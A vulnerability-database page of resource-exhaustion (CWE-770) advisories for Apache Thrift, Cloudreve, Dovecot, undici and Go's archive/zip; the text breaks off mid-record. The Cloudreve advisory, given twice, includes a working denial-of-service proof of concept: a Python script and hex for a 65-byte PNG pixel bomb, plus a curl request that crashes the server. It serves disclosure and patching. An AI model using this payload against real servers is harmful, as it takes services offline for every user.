CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3779 vulnerabilities reference this CWE, most recent first.
GHSA-G9FJ-FH28-776P
Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-07-27 21:31Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Java bindings.
This issue affects Apache Thrift: from 0.19.0 before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-45112"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T12:16:44Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Java bindings.\n\nThis issue affects Apache Thrift: from 0.19.0 before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
"id": "GHSA-g9fj-fh28-776p",
"modified": "2026-07-27T21:31:21Z",
"published": "2026-07-27T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45112"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/hl9kmf1z2o3lxvspoj3g9ykl8lj9mdxc"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/24/34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G9J2-8W95-3VWV
Vulnerability from github – Published: 2026-07-24 20:48 – Updated: 2026-07-24 20:48Summary
Cloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (image/png, image/jpeg, image/gif) and guards only the compressed file size — never the decoded pixel dimensions. Go's decoders allocate a pixel buffer sized bytesPerPixel × width × height taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on width/height. A tiny (tens-of-bytes) image that declares enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (make([]uint8, …)), exhausting memory. The resulting out-of-memory condition is a fatal Go runtime error / kernel OOM-kill that recover() cannot catch, terminating the whole Cloudreve process for all users.
Two reachable sinks share the same root cause:
- Avatar upload (
PUT /api/v4/user/setting/avatar) — decodes synchronously in the request handler. Any authenticated user. Cleanest single-request PoC. - Thumbnail generation (built-in generator, enabled by default) — decodes in the thumbnail queue worker. Reachable for the user's own files and for files inside a share, so a planted bomb can be (re)triggered through a public share link.
Post-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.
Details
Root cause — decode guarded by file size, not pixel count
The built-in generator is the default image thumbnailer:
// inventory/setting.go @ 26b6b10
"thumb_builtin_enabled": "1", // ON by default
"thumb_builtin_max_size": "78643200", // 75 MB — a *file size* cap
"thumb_vips_enabled": "0", // libvips (which has its own limits) OFF by default
...
"avatar_size": "4194304", // 4 MB — a *file size* cap
Builtin.Generate checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:
// pkg/thumb/builtin.go:144-152 @ 26b6b10
func (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {
if es.Entity().Size() > b.settings.BuiltinThumbMaxSize(ctx) { // 75 MB compressed-size check ONLY
return nil, fmt.Errorf("file is too big: %w", ErrPassThrough)
}
img, err := NewThumbFromFile(es, ext) // <-- decode; allocation happens here
...
}
// pkg/thumb/builtin.go:34-60 @ 26b6b10
func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
switch ext {
case "jpg", "jpeg": img, err = jpeg.Decode(file)
case "gif": img, err = gif.Decode(file)
case "png": img, err = png.Decode(file) // <-- unbounded allocation
...
}
}
There is no image.DecodeConfig pre-check and no dimension/pixel cap anywhere on the path. The only Bounds()/MaxWidth references in the package (builtin.go:70,92,125, avatar_size_l=200) act on the already-decoded image and are the output resize target — they execute long after the oversized input buffer has been allocated.
Why the allocation is unbounded (Go stdlib image/png)
Go's PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values — there is no maximum:
// Go src/image/png/reader.go — parseIHDR
w := int32(binary.BigEndian.Uint32(d.tmp[0:4]))
h := int32(binary.BigEndian.Uint32(d.tmp[4:8]))
if w <= 0 || h <= 0 { return FormatError("non-positive dimension") } // only guard
d.width, d.height = int(w), int(h)
On the first IDAT, readImagePass allocates the destination image before consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):
// Go src/image/png/reader.go — readImagePass
nrgba = image.NewNRGBA(image.Rect(0, 0, width, height)) // make([]uint8, 4*width*height)
image.NewNRGBA → pixelBufferLength → mul3NonNeg(4, w, h) only guards against integer overflow (returns −1, which panics), not against huge-but-valid sizes. So any 4·w·h that fits in an int and is below the runtime's maxAlloc (~2⁴⁸ on amd64) proceeds to make([]uint8, 4·w·h). The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.
jpeg.Decode (allocates the YCbCr/RGBA buffer from the SOF/SOS dimensions, max 65535×65535 → up to ~17 GB) and gif.Decode (allocates from the logical-screen / frame dimensions) are affected the same way.
Why this is a fatal crash, not a handled error
For realistic bomb sizes (GBs–hundreds of GBs, all < maxAlloc), make proceeds and the process dies by one of:
- Kernel OOM-killer sends SIGKILL when the touched pages can't be backed — not catchable by anything; or
- the Go runtime throw("out of memory") — a fatal error, not a recoverable panic, so gin.Recovery() does not save it.
(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)
Reachability of each sink
Avatar (synchronous, in the HTTP handler):
// routers/router.go:1269 @ 26b6b10 (under auth.Use(LoginRequired()) → user group)
setting.PUT("avatar", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)
// service/user/setting.go:158-217 @ 26b6b10
func UpdateUserAvatar(c *gin.Context) error {
...
if c.Request.ContentLength == -1 || c.Request.ContentLength > avatarSettings.MaxFileSize { // 4 MB cap
return ...CodeFileTooLarge
}
return updateAvatarFile(c, u, c.GetHeader("Content-Type"), c.Request.Body, avatarSettings)
}
func updateAvatarFile(...) error {
ext := "png"
switch contentType { case "image/jpeg","image/jpg": ext="jpg"; case "image/gif": ext="gif" }
avatar, err := thumb.NewThumbFromFile(file, ext) // <-- decode of attacker bytes; no dim check
...
}
A 65-byte PoC trivially satisfies the 4 MB ContentLength cap.
Thumbnail (queue worker, in-process): manager.Thumbnail → SubmitAndAwaitThumbnailTask → generateThumb → pipeline.Generate (pkg/filemanager/manager/thumbnail.go:128-145, pkg/thumb/pipeline.go:86). The pipeline tries the enabled-by-default built-in generator for png/jpg/gif (other generators return ErrPassThrough for those extensions). Triggered via GET /api/v4/file/thumb?uri=… for the user's own files, and the same generation runs for files reached through a share (NavigatorCapabilityGenerateThumb), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.
Proof of Concept
The bomb (65 bytes — included as pixelbomb.png)
Generated with:
import struct, zlib, binascii
def chunk(t,d):
c=t+d; return struct.pack(">I",len(d))+c+struct.pack(">I",binascii.crc32(c)&0xffffffff)
sig=b'\x89PNG\r\n\x1a\n'
W,H=0x7FFFFFFF,0x10 # 2147483647 x 16
ihdr=struct.pack(">IIBBBBB",W,H,8,6,0,0,0) # 8-bit, colour-type 6 (RGBA)
png=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'')
open('pixelbomb.png','wb').write(png)
# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)
Hex (entire file):
8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
7fff ffff 0000 0010 0806 0000 0068 bce2 .............h..
e300 0000 0849 4441 5478 9c03 0000 0000 .....IDATx......
0148 0689 d200 0000 0049 454e 44ae 4260 .H.......IEND.B`
82
(Dimensions are tunable: 4·W·H must stay < 2⁶³ to avoid the overflow→panic branch and < maxAlloc. 2147483647 × 16 → 128 GiB reliably OOM-kills any host; shrink H for smaller targets.)
Trigger (avatar — single request)
base=https://host/api/v4
curl -s -X PUT "$base/user/setting/avatar" \
-H "Authorization: Bearer $TOK" \
-H 'Content-Type: image/png' \
--data-binary @pixelbomb.png
Observable result
# Either the kernel OOM-killer terminates the process:
# dmesg: "Out of memory: Killed process <pid> (cloudreve)"
# or the Go runtime aborts fatally:
# fatal error: runtime: out of memory
# The Cloudreve process exits; all users get connection-refused until restart.
Impact
- Direct primitive: full availability loss — the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.
- Persistence / repeatability: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.
- Amplification: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.
- No special privilege: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.
Suggested Mitigation
Cap decoded pixel dimensions before fully decoding, in addition to the existing file-size cap. Use image.DecodeConfig (reads only the header) and reject images whose width × height (or either dimension) exceeds a configurable limit; apply it in NewThumbFromFile so both the thumbnail and avatar paths are covered.
--- a/pkg/thumb/builtin.go
+++ b/pkg/thumb/builtin.go
@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
- var err error
- var img image.Image
- switch ext {
+ const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable
+ // Peek header-only to reject pixel/decompression bombs before allocation.
+ var hdrBuf bytes.Buffer
+ cfg, _, err := image.DecodeConfig(io.TeeReader(file, &hdrBuf))
+ if err != nil {
+ return nil, fmt.Errorf("failed to read image config: %w (%w)", err, ErrPassThrough)
+ }
+ if int64(cfg.Width)*int64(cfg.Height) > maxPixels {
+ return nil, fmt.Errorf("image dimensions too large (%dx%d): %w", cfg.Width, cfg.Height, ErrPassThrough)
+ }
+ file = io.MultiReader(&hdrBuf, file) // replay consumed header bytes
+ var img image.Image
+ switch ext {
case "jpg", "jpeg": img, err = jpeg.Decode(file)
case "gif": img, err = gif.Decode(file)
case "png": img, err = png.Decode(file)
Additionally:
- Apply the same pixel cap to the avatar path (covered automatically if it routes through NewThumbFromFile, as it does).
- Consider running image decoding in a memory-limited child process / with debug.SetMemoryLimit + a GOMEMLIMIT-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.
Why sufficient: DecodeConfig parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260613024411-3607f79bb44c"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55497"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T20:48:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nCloudreve\u0027s built-in image processor decodes user-supplied images with Go\u0027s standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards **only the compressed file size** \u2014 never the *decoded* pixel dimensions. Go\u0027s decoders allocate a pixel buffer sized `bytesPerPixel \u00d7 width \u00d7 height` taken straight from the image header (e.g. a PNG\u0027s IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, \u2026)`), exhausting memory. The resulting out-of-memory condition is a **fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch**, terminating the whole Cloudreve process for all users.\n\nTwo reachable sinks share the same root cause:\n\n1. **Avatar upload** (`PUT /api/v4/user/setting/avatar`) \u2014 decodes synchronously in the request handler. Any authenticated user. **Cleanest single-request PoC.**\n2. **Thumbnail generation** (built-in generator, **enabled by default**) \u2014 decodes in the thumbnail queue worker. Reachable for the user\u0027s own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link.\n\nPost-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.\n\n### Details\n### Root cause \u2014 decode guarded by file size, not pixel count\n\nThe built-in generator is the **default** image thumbnailer:\n\n```go\n// inventory/setting.go @ 26b6b10\n\"thumb_builtin_enabled\": \"1\", // ON by default\n\"thumb_builtin_max_size\": \"78643200\", // 75 MB \u2014 a *file size* cap\n\"thumb_vips_enabled\": \"0\", // libvips (which has its own limits) OFF by default\n...\n\"avatar_size\": \"4194304\", // 4 MB \u2014 a *file size* cap\n```\n`Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:\n\n```go\n// pkg/thumb/builtin.go:144-152 @ 26b6b10\nfunc (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {\n if es.Entity().Size() \u003e b.settings.BuiltinThumbMaxSize(ctx) { // 75 MB compressed-size check ONLY\n return nil, fmt.Errorf(\"file is too big: %w\", ErrPassThrough)\n }\n img, err := NewThumbFromFile(es, ext) // \u003c-- decode; allocation happens here\n ...\n}\n\n// pkg/thumb/builtin.go:34-60 @ 26b6b10\nfunc NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n switch ext {\n case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n case \"gif\": img, err = gif.Decode(file)\n case \"png\": img, err = png.Decode(file) // \u003c-- unbounded allocation\n ...\n }\n}\n```\n\nThere is **no `image.DecodeConfig` pre-check** and **no dimension/pixel cap** anywhere on the path. The only `Bounds()`/`MaxWidth` references in the package (`builtin.go:70,92,125`, `avatar_size_l=200`) act on the *already-decoded* image and are the *output* resize target \u2014 they execute long after the oversized input buffer has been allocated.\n\n### Why the allocation is unbounded (Go stdlib `image/png`)\n\nGo\u0027s PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values \u2014 there is no maximum:\n\n```go\n// Go src/image/png/reader.go \u2014 parseIHDR\nw := int32(binary.BigEndian.Uint32(d.tmp[0:4]))\nh := int32(binary.BigEndian.Uint32(d.tmp[4:8]))\nif w \u003c= 0 || h \u003c= 0 { return FormatError(\"non-positive dimension\") } // only guard\nd.width, d.height = int(w), int(h)\n```\n\nOn the first IDAT, `readImagePass` allocates the destination image **before** consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):\n\n```go\n// Go src/image/png/reader.go \u2014 readImagePass\nnrgba = image.NewNRGBA(image.Rect(0, 0, width, height)) // make([]uint8, 4*width*height)\n```\n\n`image.NewNRGBA` \u2192 `pixelBufferLength` \u2192 `mul3NonNeg(4, w, h)` only guards against *integer overflow* (returns \u22121, which panics), not against huge-but-valid sizes. So any `4\u00b7w\u00b7h` that fits in an `int` and is below the runtime\u0027s `maxAlloc` (~2\u2074\u2078 on amd64) proceeds to `make([]uint8, 4\u00b7w\u00b7h)`. The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.\n\n`jpeg.Decode` (allocates the `YCbCr`/`RGBA` buffer from the SOF/SOS dimensions, max 65535\u00d765535 \u2192 up to ~17 GB) and `gif.Decode` (allocates from the logical-screen / frame dimensions) are affected the same way.\n\n### Why this is a fatal crash, not a handled error\n\nFor realistic bomb sizes (GBs\u2013hundreds of GBs, all `\u003c maxAlloc`), `make` proceeds and the process dies by one of:\n- **Kernel OOM-killer** sends SIGKILL when the touched pages can\u0027t be backed \u2014 not catchable by anything; or\n- the Go runtime **`throw(\"out of memory\")`** \u2014 a *fatal* error, **not** a recoverable `panic`, so `gin.Recovery()` does not save it.\n\n(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)\n\n### Reachability of each sink\n\n**Avatar (synchronous, in the HTTP handler):**\n\n```go\n// routers/router.go:1269 @ 26b6b10 (under auth.Use(LoginRequired()) \u2192 user group)\nsetting.PUT(\"avatar\", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)\n\n// service/user/setting.go:158-217 @ 26b6b10\nfunc UpdateUserAvatar(c *gin.Context) error {\n ...\n if c.Request.ContentLength == -1 || c.Request.ContentLength \u003e avatarSettings.MaxFileSize { // 4 MB cap\n return ...CodeFileTooLarge\n }\n return updateAvatarFile(c, u, c.GetHeader(\"Content-Type\"), c.Request.Body, avatarSettings)\n}\nfunc updateAvatarFile(...) error {\n ext := \"png\"\n switch contentType { case \"image/jpeg\",\"image/jpg\": ext=\"jpg\"; case \"image/gif\": ext=\"gif\" }\n avatar, err := thumb.NewThumbFromFile(file, ext) // \u003c-- decode of attacker bytes; no dim check\n ...\n}\n```\n\nA 65-byte PoC trivially satisfies the 4 MB `ContentLength` cap.\n\n**Thumbnail (queue worker, in-process):** `manager.Thumbnail` \u2192 `SubmitAndAwaitThumbnailTask` \u2192 `generateThumb` \u2192 `pipeline.Generate` (`pkg/filemanager/manager/thumbnail.go:128-145`, `pkg/thumb/pipeline.go:86`). The pipeline tries the **enabled-by-default** built-in generator for `png/jpg/gif` (other generators return `ErrPassThrough` for those extensions). Triggered via `GET /api/v4/file/thumb?uri=\u2026` for the user\u0027s own files, and the same generation runs for files reached through a share (`NavigatorCapabilityGenerateThumb`), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.\n\n## Proof of Concept\n\n### The bomb (65 bytes \u2014 included as `pixelbomb.png`)\n\nGenerated with:\n\n```python\nimport struct, zlib, binascii\ndef chunk(t,d):\n c=t+d; return struct.pack(\"\u003eI\",len(d))+c+struct.pack(\"\u003eI\",binascii.crc32(c)\u00260xffffffff)\nsig=b\u0027\\x89PNG\\r\\n\\x1a\\n\u0027\nW,H=0x7FFFFFFF,0x10 # 2147483647 x 16\nihdr=struct.pack(\"\u003eIIBBBBB\",W,H,8,6,0,0,0) # 8-bit, colour-type 6 (RGBA)\npng=sig+chunk(b\u0027IHDR\u0027,ihdr)+chunk(b\u0027IDAT\u0027,zlib.compress(b\u0027\u0027))+chunk(b\u0027IEND\u0027,b\u0027\u0027)\nopen(\u0027pixelbomb.png\u0027,\u0027wb\u0027).write(png)\n# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)\n```\n\nHex (entire file):\n\n```\n8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR\n7fff ffff 0000 0010 0806 0000 0068 bce2 .............h..\ne300 0000 0849 4441 5478 9c03 0000 0000 .....IDATx......\n0148 0689 d200 0000 0049 454e 44ae 4260 .H.......IEND.B`\n82\n```\n(Dimensions are tunable: `4\u00b7W\u00b7H` must stay `\u003c 2\u2076\u00b3` to avoid the overflow\u2192panic branch and `\u003c maxAlloc`. `2147483647 \u00d7 16` \u2192 128 GiB reliably OOM-kills any host; shrink `H` for smaller targets.)\n\n### Trigger (avatar \u2014 single request)\n\n```bash\nbase=https://host/api/v4\ncurl -s -X PUT \"$base/user/setting/avatar\" \\\n -H \"Authorization: Bearer $TOK\" \\\n -H \u0027Content-Type: image/png\u0027 \\\n --data-binary @pixelbomb.png\n```\n\n### Observable result\n\n```\n# Either the kernel OOM-killer terminates the process:\n# dmesg: \"Out of memory: Killed process \u003cpid\u003e (cloudreve)\"\n# or the Go runtime aborts fatally:\n# fatal error: runtime: out of memory\n# The Cloudreve process exits; all users get connection-refused until restart.\n```\n## Impact\n\n- **Direct primitive**: full availability loss \u2014 the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.\n- **Persistence / repeatability**: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.\n- **Amplification**: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.\n- **No special privilege**: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.\n\n## Suggested Mitigation\n\nCap **decoded pixel dimensions** before fully decoding, in addition to the existing file-size cap. Use `image.DecodeConfig` (reads only the header) and reject images whose `width \u00d7 height` (or either dimension) exceeds a configurable limit; apply it in `NewThumbFromFile` so both the thumbnail and avatar paths are covered.\n\n```diff\n--- a/pkg/thumb/builtin.go\n+++ b/pkg/thumb/builtin.go\n@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n- var err error\n- var img image.Image\n- switch ext {\n+ const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable\n+ // Peek header-only to reject pixel/decompression bombs before allocation.\n+ var hdrBuf bytes.Buffer\n+ cfg, _, err := image.DecodeConfig(io.TeeReader(file, \u0026hdrBuf))\n+ if err != nil {\n+ return nil, fmt.Errorf(\"failed to read image config: %w (%w)\", err, ErrPassThrough)\n+ }\n+ if int64(cfg.Width)*int64(cfg.Height) \u003e maxPixels {\n+ return nil, fmt.Errorf(\"image dimensions too large (%dx%d): %w\", cfg.Width, cfg.Height, ErrPassThrough)\n+ }\n+ file = io.MultiReader(\u0026hdrBuf, file) // replay consumed header bytes\n+ var img image.Image\n+ switch ext {\n case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n case \"gif\": img, err = gif.Decode(file)\n case \"png\": img, err = png.Decode(file)\n```\n\nAdditionally:\n- Apply the same pixel cap to the avatar path (covered automatically if it routes through `NewThumbFromFile`, as it does).\n- Consider running image decoding in a memory-limited child process / with `debug.SetMemoryLimit` + a `GOMEMLIMIT`-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.\n\nWhy sufficient: `DecodeConfig` parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.",
"id": "GHSA-g9j2-8w95-3vwv",
"modified": "2026-07-24T20:48:10Z",
"published": "2026-07-24T20:48:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-g9j2-8w95-3vwv"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/commit/3607f79bb44c35d0be4fa8b6e24c0502b51415a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server"
}
GHSA-G9M4-C8QF-67QW
Vulnerability from github – Published: 2024-09-10 15:31 – Updated: 2025-11-04 18:31Very large headers can cause resource exhaustion when parsing message. The message-parser normally reads reasonably sized chunks of the message. However, when it feeds them to message-header-parser, it starts building up "full_value" buffer out of the smaller chunks. The full_value buffer has no size limit, so large headers can cause large memory usage. It doesn't matter whether it's a single long header line, or a single header split into multiple lines. This bug exists in all Dovecot versions. Incoming mails typically have some size limits set by MTA, so even largest possible header size may still fit into Dovecot's vsz_limit. So attackers probably can't DoS a victim user this way. A user could APPEND larger mails though, allowing them to DoS themselves (although maybe cause some memory issues for the backend in general). One can implement restrictions on headers on MTA component preceding Dovecot. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2024-23185"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-10T15:15:14Z",
"severity": "HIGH"
},
"details": "Very large headers can cause resource exhaustion when parsing message. The message-parser normally reads reasonably sized chunks of the message. However, when it feeds them to message-header-parser, it starts building up \"full_value\" buffer out of the smaller chunks. The full_value buffer has no size limit, so large headers can cause large memory usage. It doesn\u0027t matter whether it\u0027s a single long header line, or a single header split into multiple lines. This bug exists in all Dovecot versions. Incoming mails typically have some size limits set by MTA, so even largest possible header size may still fit into Dovecot\u0027s vsz_limit. So attackers probably can\u0027t DoS a victim user this way. A user could APPEND larger mails though, allowing them to DoS themselves (although maybe cause some memory issues for the backend in general). One can implement restrictions on headers on MTA component preceding Dovecot. No publicly available exploits are known.",
"id": "GHSA-g9m4-c8qf-67qw",
"modified": "2025-11-04T18:31:19Z",
"published": "2024-09-10T15:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23185"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2024/oxdc-adv-2024-0003.json"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00002.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Aug/18"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/08/15/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9MF-H72J-4RW9
Vulnerability from github – Published: 2026-01-14 21:06 – Updated: 2026-01-22 20:17Impact
The fetch() API supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, br). This is also supported by the undici decompress interceptor.
However, the number of links in the decompression chain is unbounded and the default maxHeaderSize allows a malicious server to insert thousands compression steps leading to high CPU usage and excessive memory allocation.
Patches
Upgrade to 7.18.2 or 6.23.0.
Workarounds
It is possible to apply an undici interceptor and filter long Content-Encoding sequences manually.
References
- https://hackerone.com/reports/3456148
- https://github.com/advisories/GHSA-gm62-xv2j-4w53
- https://curl.se/docs/CVE-2022-32206.html
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22036"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T21:06:08Z",
"nvd_published_at": "2026-01-14T19:16:47Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe `fetch()` API supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, br). This is also supported by the undici decompress interceptor.\n\nHowever, the number of links in the decompression chain is unbounded and the default maxHeaderSize allows a malicious server to insert thousands compression steps leading to high CPU usage and excessive memory allocation.\n\n### Patches\n\nUpgrade to 7.18.2 or 6.23.0.\n\n### Workarounds\n\nIt is possible to apply an undici interceptor and filter long `Content-Encoding` sequences manually.\n\n### References\n\n* https://hackerone.com/reports/3456148\n* https://github.com/advisories/GHSA-gm62-xv2j-4w53\n* https://curl.se/docs/CVE-2022-32206.html",
"id": "GHSA-g9mf-h72j-4rw9",
"modified": "2026-01-22T20:17:07Z",
"published": "2026-01-14T21:06:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-g9mf-h72j-4rw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22036"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/commit/b04e3cbb569c1596f86c108e9b52c79d8475dcb3"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has an unbounded decompression chain in HTTP responses on Node.js Fetch API via Content-Encoding leads to resource exhaustion"
}
GHSA-G9Q4-QJX4-2V7Q
Vulnerability from github – Published: 2026-01-28 21:31 – Updated: 2026-01-29 21:30archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.
{
"affected": [],
"aliases": [
"CVE-2025-61728"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T20:16:09Z",
"severity": "MODERATE"
},
"details": "archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.",
"id": "GHSA-g9q4-qjx4-2v7q",
"modified": "2026-01-29T21:30:30Z",
"published": "2026-01-28T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61728"
},
{
"type": "WEB",
"url": "https://go.dev/cl/736713"
},
{
"type": "WEB",
"url": "https://go.dev/issue/77102"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4342"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/01/15/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
